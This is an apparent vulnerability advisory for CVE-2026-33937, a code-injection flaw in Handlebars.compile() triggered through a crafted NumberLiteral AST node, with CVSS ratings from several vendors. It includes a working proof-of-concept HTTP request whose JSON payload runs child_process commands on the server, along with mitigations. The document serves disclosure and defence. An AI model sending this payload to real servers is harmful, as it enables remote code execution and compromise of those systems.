CVE-2026-33937

ADVISORY - github

Summary

Summary

Handlebars.compile() accepts a pre-parsed AST object in addition to a template string. The value field of a NumberLiteral AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to compile() can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.

Description

Handlebars.compile() accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in lib/handlebars/compiler/javascript-compiler.js emits NumberLiteral values verbatim:

// Simplified representation of the vulnerable code path:
// NumberLiteral.value is appended to the generated code without escaping
compiledCode += numberLiteralNode.value;

Because the value is not wrapped in quotes or otherwise sanitized, passing a string such as {},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() // as the value of a NumberLiteral causes the generated eval-ed code to break out of its intended context and execute arbitrary commands.

Any endpoint that deserializes user-controlled JSON and passes the result directly to Handlebars.compile() is exploitable.

Proof of Concept

Server-side Express application that passes req.body.text to Handlebars.compile():

import express from "express";
import Handlebars from "handlebars";

const app = express();
app.use(express.json());

app.post("/api/render", (req, res) => {
  let text = req.body.text;
  let template = Handlebars.compile(text);
  let result = template();
  res.send(result);
});

app.listen(2123);
POST /api/render HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:2123

{
  "text": {
    "type": "Program",
    "body": [
      {
        "type": "MustacheStatement",
        "path": {
          "type": "PathExpression",
          "data": false,
          "depth": 0,
          "parts": ["lookup"],
          "original": "lookup",
          "loc": null
        },
        "params": [
          {
            "type": "PathExpression",
            "data": false,
            "depth": 0,
            "parts": [],
            "original": "this",
            "loc": null
          },
          {
            "type": "NumberLiteral",
            "value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
            "original": 1,
            "loc": null
          }
        ],
        "escaped": true,
        "strip": { "open": false, "close": false },
        "loc": null
      }
    ]
  }
}

The response body will contain the output of the id command executed on the server.

Workarounds

  • Validate input type before calling Handlebars.compile(): ensure the argument is always a string, never a plain object or JSON-deserialized value.
    if (typeof templateInput !== 'string') {
      throw new TypeError('Template must be a string');
    }
    
  • Use the Handlebars runtime-only build (handlebars/runtime) on the server if templates are pre-compiled at build time; compile() will be unavailable.

Common Weakness Enumeration (CWE)

ADVISORY - nist

Access of Resource Using Incompatible Type ('Type Confusion')

Improper Control of Generation of Code ('Code Injection')

ADVISORY - github

Access of Resource Using Incompatible Type ('Type Confusion')

Improper Control of Generation of Code ('Code Injection')

ADVISORY - redhat

Improper Control of Generation of Code ('Code Injection')


NIST

CREATED

UPDATED

EXPLOITABILITY SCORE

3.9

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

9.8critical

GitHub

CREATED

UPDATED

EXPLOITABILITY SCORE

3.9

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

9.8critical

Debian

CREATED

UPDATED

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY

Red Hat

CREATED

UPDATED

EXPLOITABILITY SCORE

3.9

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

9.8high